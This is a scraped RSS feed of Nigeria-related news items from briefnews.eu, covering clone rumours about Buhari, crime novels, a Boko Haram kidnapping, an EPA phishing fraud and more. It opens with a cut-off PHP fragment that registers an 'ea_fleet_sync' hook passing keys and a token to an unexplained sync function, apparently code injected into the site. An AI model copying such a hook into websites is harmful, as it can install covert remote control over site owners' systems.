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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Nigerian – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 03 Dec 2018 06:20:48 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Nigerian – Brief News https://briefnews.eu 32 32 ‘It's the real me!’ Nigerian president denies impostor charge… but isn’t that what a clone would do? https://briefnews.eu/its-the-real-me-nigerian-president-denies-impostor-charge-but-isnt-that-what-a-clone-would-do/ https://briefnews.eu/its-the-real-me-nigerian-president-denies-impostor-charge-but-isnt-that-what-a-clone-would-do/#respond Mon, 03 Dec 2018 06:20:48 +0000 http://briefnews.eu/its-the-real-me-nigerian-president-denies-impostor-charge-but-isnt-that-what-a-clone-would-do/

An attempt by Nigeria’s president to reassure his countrymen that he is alive, and wasn’t replaced by an impostor during a long medical leave, failed to convince everyone because that’s exactly what a clone would say, isn’t it?

Rumors of a double or a clone ruling the country instead of President Muhammadu Buhari have plagued the minds of Nigerians for roughly a year ever since the 75-year-old returned from his medical treatments in the UK, looking all reborn.

When publicly confronted and asked if he was an impostor by a member of the Nigerian community in Poland, Buhari finally addressed the rumors, slamming them as irresponsible, but reassuring the audience he was the real deal.

It’s the real me, l assure you.

Yet such a direct but seemingly prepared answer managed to convince just a few of his Twitter followers, who noted that only a genuine impostor would answer that question this way.

Conspiracy theories about the president sprouted like mushrooms after Buhari took a number of trips to the UK last year to seek medical treatment for an undisclosed malady. While the presidency repeatedly rejected rumors that the head of state was terminally ill or dead, failure to disclose his illness prompted rumors that the president could have been cloned. Another rumor suggests that the top seat is currently occupied by an impostor, namely an imaginative Jibril Aminu of Sudan.

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]]> https://briefnews.eu/its-the-real-me-nigerian-president-denies-impostor-charge-but-isnt-that-what-a-clone-would-do/feed/ 0 Your Next Great Read: Blade-on-Your-Throat Nigerian Crime Fiction https://briefnews.eu/your-next-great-read-blade-on-your-throat-nigerian-crime-fiction/ https://briefnews.eu/your-next-great-read-blade-on-your-throat-nigerian-crime-fiction/#respond Mon, 09 Jul 2018 08:05:24 +0000 http://briefnews.eu/your-next-great-read-blade-on-your-throat-nigerian-crime-fiction/

As an author aficionado of old-school noir — think Hammett, Chandler, Thompson — I’m always on the lookout for the next thing in the genre. While the wave of superb Scandinavian crime has been the buzz in popular fiction for a good while and Korean noir is beginning to bubble to the surface, few have noticed the gritty, blade-on-your-throat fiction emerging from Nigeria.

These novels have that pulse and energy you get from the golden age of crime fiction — simultaneously playing with genre tropes, while subverting them, and bending the craft to suit the peculiarities of modern Nigeria. Reading these books, you get a sense of what Naija crime fiction used to be and what it’s going to become.

Easy Motion Tourist by Leye Adenle

The title of this debut novel comes from the song by music legend Fatai Rolling Dollar, who died in 2013. In the novel set in streets of Lagos, Guy Collins, a British hack, finds the mutilated body of a murdered prostitute and is picked up as a suspect. He falls in with Amaka, the guardian angel of the working girls in the city, but gets caught between corrupt cops and sinister politicians. Electrifying and fast-paced, this book isn’t for the squeamish. The French translation Lagos Lady won the 2016 Prix Marianne award.

White lies tend to have extreme consequences in Naija noir — the body count in this story makes Tarantino seem like a choir boy.

Making Wolf by Tade Thompson

The thrust of the novel, originally marketed as sci-fi, leans so heavily on crime that it joins a host of quality science fiction detective novels like China Miéville’s The City & The City or Richard K. Morgan’s Altered Carbon. In the novel, Weston Kogi is a security guard in London, but he tells people at home he’s a detective with Scotland Yard. White lies tend to have extreme consequences in Naija noir — the body count in this story makes Tarantino seem like a choir boy. Making Wolf picked up the Golden Tentacle for a Debut Novel at the 2015 Kitschies.

Carnivorous City by Toni Kan

If you like literary crime and mindfucks, you’ll appreciate this love letter to Lagos — a city more likely to head-butt than to kiss you. Author Toni Kan is widely known by his moniker “The Mayor of Lagos” in Nigerian literary circles and cut his teeth as a poet, magazine editor and literary novelist before a midcareer foray into crime. The book is about Abel Dike, a small-town teacher with a suitably boring life in the countryside — until he gets called to the city to look for his missing younger brother, Soni, a criminal who’s done some crazy shit. Running parallel to the missing person investigation, there’s also an investigation into the soul of Lagos itself.

I Do Not Come to You by Chance by Adaobi Tricia Nwaubani

Lost your life savings to a Nigerian prince who was gonna give you millions? Welcome to the world of the 419ers. Kingsley, our hero, has an engineering degree and no job to show for it. Until the larger-than-life Cash Daddy recruits him to the Yahoo Boys, where Kingsley proves to be a poet among email scammers. In the classic noir sense of the villains-as-heroes, you will fall in love with this expansive cast of characters, even as they siphon bank accounts. This intelligent, ROFL funny novel with big heart won the 2010 Commonwealth Writers Prize for Best First Book (Africa). Nwaubani, a journalist by profession, had firsthand access to 419ers while researching the novel, giving it that truly authentic feel.

Satans and Shaitans by Obinna Udenwe

Maybe Nietzsche was right and God is dead, but the devil is alive and well in this debut novel. The youngest writer on this list, Udenwe established a reputation in Nigeria for writing short fiction and has never been shy of breaking taboos, especially with his novella “Holy Sex,” which created a lot of discussion in the African literary readership. Faith and vice are a recurring theme for Udenwe, and in his novel, Chief Donald Amechi and world-acclaimed televangelist Chris Chuba, both members of the Sacred Order of the Universal Forces, have a plan for nationwide domination that would put the Illuminati to shame. Suicide bombings, politics, extortion, religion — whatever it takes to get the job done. But being bad is complicated when you have children, so when Chuba’s daughter, Adeline, is murdered, well … If you love conspiracy theories or the occult, this novel will cater to your dark, lurid tastes.

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]]> https://briefnews.eu/your-next-great-read-blade-on-your-throat-nigerian-crime-fiction/feed/ 0 Russian girls a 'no, no, no' for Nigerian footballers at World Cup https://briefnews.eu/russian-girls-a-no-no-no-for-nigerian-footballers-at-world-cup/ https://briefnews.eu/russian-girls-a-no-no-no-for-nigerian-footballers-at-world-cup/#respond Mon, 28 May 2018 04:33:58 +0000 http://briefnews.eu/russian-girls-a-no-no-no-for-nigerian-footballers-at-world-cup/ The Nigerian football team coach laid down some strict rules for when his side goes to Russia to take part in the World Cup. Gernot Rohr says he won’t allow them to have local girls over – but wives and family members can come.

“Yes, the players can have their wives and family come to visit them at the World Cup. Each player will have a room to himself so the family can come on days when we are not preparing for games or on matchdays,“ Rohr told a news briefing in the town of Uyo, as cited by the Nigerian sports daily Complete Sports. “However, I won’t allow them to have Russian girls, no, no, no. Only captain Mikel who has a Russian partner can come with her.”

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Nigerian players were not the only ones to be given instructions on how to deal with Russian women during the World Cup. Argentinians were handed a whole handbook earlier, although it was much less prohibitive and more detailed than Rohr’s strict ban.

The Argentine Football Association (AFA) handed out pamphlets on ‘Russian language and culture,’ which included a part on ‘What to do to have a chance with a Russian girl.’ Advice included being clean, making her feel special and avoiding “stupid questions about sex.” It also said that Russian women like men who take the initiative, and warned that although Russia has a lot of beautiful women, “not every girl will be suitable for you.”

According to some Argentine journalists, the handbooks have since been returned, and the more controversial pages were taken out.

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Ozoz Sokoh turned to food blogging in 2009 as a way to relieve a creeping malaise that was short-circuiting her pursuit of happiness. A geologist living in the Wassenaar, on the western coast of the Netherlands, she was struggling at work and in her quest to find personal purpose. Known for her energy and passion — even for the small things like artful snapshots of her culinary creations — she suddenly felt inert.

“I was also incredibly homesick,” the 40-year-old (who goes by Oz) remembers. “So I began to write as a way to find meaning.” She recorded as she went, documenting new flavors and techniques — from other cuisines as well as Nigerian recipes — “especially the tricky ones like moi moi [bean pudding] and akara [bean cakes], where ratios are key to success.”

Today, Sokoh is back in her native country, where she has become one of Nigeria’s most recognizable chefs, a food photographer and blogger known to her fans as the Kitchen Butterfly — a moniker, she explains, that mirrors her transformation and her love of color, reflected in her dishes, dresses and scarves.

Some people get really outraged. They see my exploration as oversabi [overzealous].

Ozoz Sokoh, aka the Kitchen Butterfly

As a child growing up in Warri and Port Harcourt in Nigeria, however, Sokoh did not love food. In fact, she’ll tell you she hated it (except for sweets), excusing herself from the dinner table with her mouth full of food she refused to swallow. Then, when she was 10 years old, her marine engineer father took the family on a trip to Edinburgh, Scotland — phase one of the butterfly’s evolution. After a day running around the festival grounds with her sister Miranda, Sokoh was so ravenous that she found herself devouring food, rather than pushing it away, for the first time. That appetite to discover, sample and concoct delicious dishes drives her still.

Sokoh chose to study geology, a path that led to her job in Wassenaar, but after returning to Nigeria seven years ago, she’s been all about food (while working as a geologist at Shell Global by day). The result is what she calls the New Nigerian Kitchen, a remix of dishes found throughout her homeland that she shares with her 33,000 Instagram followers — and an approach to documenting Nigerian cuisine in its entirety, which she addressed in a 2014 TEDx Talk. Determined to update perceptions that food in Nigeria, a deeply heterogeneous society, is unsophisticated and not worth exploring, she set out — like her namesake, Oz — to offer a magical land of infinite possibilities. Conjuring as many new combinations as her chef’s imagination could muster, Sokoh presents “remixed dishes” at food festivals and cooking events. She’s also at work on a cookbook-slash-memoir, and last year her jollof rice recipe was introduced to a global audience on CNN’s Anthony Bourdain: Parts Unknown.

Her creations run the gamut from jams, drinks and sauces made from agbalumo (African star apple) and zobo (hibiscus) to dishes infused with flavors from the many places where she has lived. Raised in the oil-rich Niger Delta, educated at universities in Ile-Ife (236 kilometers west of Lagos) and Liverpool, England, and employed in the Netherlands, she was exposed to different types of food but admits that moving so much left her disconnected from her native cuisine. But she’s back, bringing an entirely new interpretation that emphasizes innovation, new combinations of flavors and ingredients, and exuberant style and presentation.

But her reimagined delicacies have drawn mixed reactions — some fellow Nigerians became instant fans, while others with more traditional views consider her approach an aberration. “Some people get really outraged,” Sokoh laughs. “They see my exploration as oversabi [overzealous].

“They can’t understand how I’ve gone from A — what we’ve always known, like eating agbalumo out of hand — to Z, new ideas like baking it into a cake or dessert, making drinks from it.” To those who prefer dishes as they’ve always been served, she tries to share her discoveries from living in different places. “We have so many possibilities with our food,” Sokoh insists, but still: “People hear ‘New Nigerian Kitchen’ and think it’s all about being outré.”

If putting a unique spin on traditional Nigerian ingredients and recipes is outré, it’s a label she’s willing to accept. “There are purists that prefer things to be left alone, and there are some food enthusiasts that are happy to try these new things,” says Uzo Orimalade, a Lagos-based culinary expert and CEO of Uzo’s Food Labs. “No matter what side you are on, her recipes get people talking.”

And talk they do — at private dinner parties she hosts for select groups of “cool kids” (artsy expats and newly returned natives like her), on social media and at culinary events such as World Jollof Rice Day. For Nigerians both at home and among the diaspora, this August event has grown into a major celebration of one of the country’s most beloved dishes. A self-proclaimed Jollof activist (“It’s spelled with a capital J, not a small one,” Sokoh corrected a commenter on her blog), she is a fixture at the celebration, crafting new versions of the dish to tantalize her followers and win over new fans.

Isioma Onyegikei, the head chef at Brelunds Food Company, agrees with Sokoh’s food philosophy and the need to document the culinary arts in Nigeria. “I think it’s something that we must all do,” she begins. “Nigeria has a lot of foods owing to our diverse culture, from homemade meals to our variety of street foods. They are worth introducing to a larger audience, and that’s why I think the work of Kitchen Butterfly is important. When more people know about our meals, it adds value to the culinary chain.”

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]]> https://briefnews.eu/this-nigerian-chef-is-a-culinary-wizard-of-oz/feed/ 0 110 Nigerian schoolgirls ‘unaccounted for’ after Boko Haram raid https://briefnews.eu/110-nigerian-schoolgirls-unaccounted-for-after-boko-haram-raid/ https://briefnews.eu/110-nigerian-schoolgirls-unaccounted-for-after-boko-haram-raid/#respond Sun, 25 Feb 2018 23:04:10 +0000 http://briefnews.eu/110-nigerian-schoolgirls-unaccounted-for-after-boko-haram-raid/ Nigerian authorities have announced that 110 young girls are missing after a raid by Boko Haram Islamist terrorist group, in what may become the most serious school attack and kidnapping since the notorious 2014 Chibok incident.

Last week, suspected Boko Haram gunmen dressed in camouflage descended on the town of Dapchi in Yobe state, north-east Nigeria, firing weapons as they set upon the school and forcing hundreds of students to flee in panic. While most of the students who managed to flee the school have been accounted for, the fate of 110 girls remains unknown, and there are fears they might have been taken as brides by the Boko Haram fighters, according to the country’s Ministry of Information.

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“The federal government has confirmed that 110 students of the Government Science and Technical College in Dapchi, Yobe State, are so far unaccounted for, after insurgents believed to be from a faction of Boko Haram invaded their school on Monday,” Information Minister Lai Mohammed said in a statement on Sunday. 

Families of the missing girls have slammed the government for what they see as a slow response to the crisis. A few officials falsely claimed some of the girls had been rescued.

This could become the worst such incident since 2014, when 276 schoolgirls were kidnapped in Chibok, Borno State (also in north-eastern Nigeria). The notorious incident got worldwide attention and triggered a massive social media campaign Bring Back Our Girls.

On Sunday, Nigerian Air Force spokesman Olatokunbo Adesanya also issued a statement, announcing that the air force was mounting a rescue operation with the “immediate deployment of additional air assets and Nigerian Air Force personnel to the northeast with the sole mission of conducting day and night searches for the missing girls… in close liaison with other surface security forces.”

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Boko Haram (roughly meaning ‘Western education is forbidden’) began its terrorist activity in 2009 using both suicide bombings and hit-and-run tactics. Since then, over 20,000 people have been killed and two million forced to flee their homes, while the militant group itself has pledged allegiance to the Islamic State (IS, formerly ISIS/ISIL) terrorists. Although both Nigerian and African Union forces have driven Boko Haram from many of its former strongholds, the group remains highly active and launches deadly attacks on both military and civilian targets.

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A Nigerian man was lucky to escape with his life after being viciously attacked by an angry mob who accused him of turning a person into a goat in the Nigerian state of Rivers, local media reports.

The bizarre incident allegedly took place in Rukpoku, less than 20 kilometers north of the city of Port Harcourt in southern Nigeria, according to the Daily Post.

A 36-year-old man was seen being followed around by a black goat, which somehow raised suspicions among locals who accused him of Voodooism. They reportedly suspected him of using magic to transform a human into the animal which was now chasing him.

The Nigerian newspaper report that mob then attacked the man, beating him until he lost consciousness. The beating could have been even more severe if not for the intervention of security forces who broke up the altercation.

The victim, the goat and two members of the mob were taken to Rumuokoro police station where the man told his side of the story.

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“I was strolling out of my compound only to realize that my goat was following. Usually it follows me whenever I am going out because I used to buy biscuit for it, but this time I didn’t want it to follow me so I decided to run and try to dodge it. The goat’s name is Remember,” he said.

“I was surprised that people thought I changed a human being into a goat. How is that possible?”

Previous reports in the Nigerian press and blogosphere cited confused witnesses, who alleged the entire group was working together and turned a woman into a goat for some kind of ritual. A senior police official confirmed to the Post’s correspondent that an investigation is underway and that authorities are determined to crack the case.

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]]> https://briefnews.eu/nigerian-man-beaten-by-mob-for-turning-human-into-a-goat/feed/ 0 Nigerian air force says US agrees to sell it $593 million worth of Super Tucano fighter planes https://briefnews.eu/nigerian-air-force-says-us-agrees-to-sell-it-593-million-worth-of-super-tucano-fighter-planes/ https://briefnews.eu/nigerian-air-force-says-us-agrees-to-sell-it-593-million-worth-of-super-tucano-fighter-planes/#respond Thu, 28 Dec 2017 14:42:59 +0000 http://briefnews.eu/nigerian-air-force-says-us-agrees-to-sell-it-593-million-worth-of-super-tucano-fighter-planes/ FILE PHOTO: Four A-29 Super Tucanos arrive before the beginning of the 2017 fighting season at Kabul Air Wing, Kabul, Afghanistan on March 20, 2017. Jordan Castelan/U.S. Air Force photo/Handout via REUTERS Thomson Reuters

ABUJA (Reuters) – The Nigerian air force said on Wednesday the United States had agreed to sell fighter planes to Nigeria, as the West African country continues its eight-year conflict with Islamist insurgency Boko Haram.

The sale of the 12 A29 Super Tucano aircraft, with weapons and services, is worth $ 593 million.

The US ambassador to Nigeria presented the letters of offer and acceptance, the official agreement to make the sale, to the country’s air force earlier on Wednesday, the air force statement said.

The agreements are expected to be signed and necessary payments made before Feb. 20, the statement said, adding that the US State Department has already approved the sale.

(Reporting by Paul Carsten; editing by Alison Williams)

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The Nigerian military has repelled an attack on the capital of Borno state in north-east Nigeria by suspected Boko Haram militants, Major General Nicholas Rogers told Reuters. On Monday evening, heavy gunfire could be heard in the in Molai area on the outskirts of Maiduguri as soldiers fought back against the Islamists. A local vigilante group also claimed to have taken part in the fighting. The attack may have been aimed at Christmas celebrations taking place among the town’s Christian minority.

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]]> https://briefnews.eu/nigerian-army-repels-boko-haram-advance-on-northeastern-capital/feed/ 0 Nigerian scammers once targeted the EPA to steal $1 million in office supplies https://briefnews.eu/nigerian-scammers-once-targeted-the-epa-to-steal-1-million-in-office-supplies/ https://briefnews.eu/nigerian-scammers-once-targeted-the-epa-to-steal-1-million-in-office-supplies/#respond Tue, 03 Oct 2017 01:44:09 +0000 http://briefnews.eu/nigerian-scammers-once-targeted-the-epa-to-steal-1-million-in-office-supplies/ school suppliesTim Boyle/Getty Images

Foreign hackers in a former British colony targeted hundreds of Environmental Protection Agency (EPA) employees in an email phishing scam to steal office supplies with credit cards.

The case was closed in 2014 when a Nigerian man pleaded guilty to buying $ 1 million worth of office supplies using stolen credit card information from EPA employees, but EPA special agent Al Bailey sat down to discuss the case in a podcast.

“Back in 2012, a fellow law enforcement agency contacted us here at the OIG and said ‘Hey, we’re looking at hundreds of thousands of dollars of office supplies being ordered by employees at the EPA,’” Bailey said in an interview with the inspector general’s office.

“Posing as EPA employees and using EPA employees’ email accounts, the bad guys then sent an email to the vendors, ordering office supplies,” Bailey said, describing how hackers got access to government office supply purchasing sites.

“These office supplies weren’t being shipped to the EPA, though,” Bailey said. “They were being ordered with stolen credit cards. There was a belief that some employees may have been involved in some sort of purchasing scam.”

Starting in 2012, Abiodun Ade-john used phishing emails to lure unsuspecting EPA employees to divulge their personal information. Ade-john used stolen credit cards to buy office supplies, which he sold on the black market. He admitted to stealing from EPA in 2014.

Phishing scams are fraudulent emails that appear legitimate to give hackers access to your account. Hackers can get personal information, including credit card and social security numbers.

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EPA isn’t the only agency to be hit with such attacks. Department of the Interior employees were targeted by hackers, according to a 2016 inspector general report. Hackers sent phishing emails to 1,500 Interior Department employees, comprising about 100 of them, according to investigators.

What’s interesting about the EPA attack is it was used to move products in Nigeria’s booming black market for office supplies.

“Well, this country is a former British colony,” Bailey said. “And the British government was very dependent on paper – all their records, decisions, documents needed to be printed out and literally rubber stamped.”

“And, to this day, even though it’s no longer a British colony, this country’s government is still very dependent on paper,” Bailey said. “So, there’s actually a huge market for office supplies, and things like printer cartridges are very pricey. If you can figure out how to get free toner and then re-sell it, you’re making quite a profit.”

Bailey said hackers were able to use the time difference between the U.S. and west Africa to “cover up their tracks, deleting all the emails they sent” before EPA officials could wake up and catch them.

“On top of that, they used credit cards that they had stolen from a completely separate phishing scam, where they sent emails that looked like they came from PayPal or JPMorgan or companies like that to people with Yahoo or Hotmail addresses, asking them to log in to their accounts and verify their credentials,” Bailey said.

“Of course, these were made up log-in pages as well, and that’s how the criminals stole the credit card numbers to pay for these supplies,” Bailey said.

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Italian police have arrested a suspected human trafficker following allegations that the man tortured, sexually abused and murdered migrants in a refugee camp in Libya.

Detectives in Sicily obtained witness testimony alleging that Nigerian national – John Ogais, aka ‘Rambo’ – killed at least two men at a camp in Libya, as well as tortured other migrants in the makeshift prison. ‘Rambo,’ 25, first came to the authorities’ attention after one of his alleged accomplices, Ghanaian Sam Eric Ackom, was arrested last March.

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“While I was inside that ghetto, where it was impossible to escape, I heard that a man who called himself Rambo had killed a migrant,” said one witnesses according to the police statement quoted by AFP.

“My cousin and others tried to escape but they were caught and tortured nearly to death.”

Another witness said he saw one of the men “killed by Rambo in front of the victim’s brother. When he killed the man Rambo pointed a gun at the brother and told him not to tell his family anything and to get them to immediately send money,” for their release.

Ogais was tracked and arrested at the reception center in Isola di Capo Rizzuto in Calabria, south Italy, on charges of human trafficking, being part of an international smuggling ring, rape and aggravated murder, police said Tuesday, according to the local Il Gazzettino Di Sicilia.

War-torn Libya is a key hub for migrants making their way from Africa to Europe via Italy. Those attempting the route put themselves at risk of not only the physical perils of the journey itself, but also falling into the hands of predatory criminals who kidnap them for ransom.

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The UN’s International Organization for Migration (IOM) estimates there are between 700,000 and one million people currently in Libya awaiting their chance to get into Europe. 

And as of June this year, the United Nations’ Refugee Agency (UNHCR) said that over 2000 people died trying to make the dangerous crossing. 

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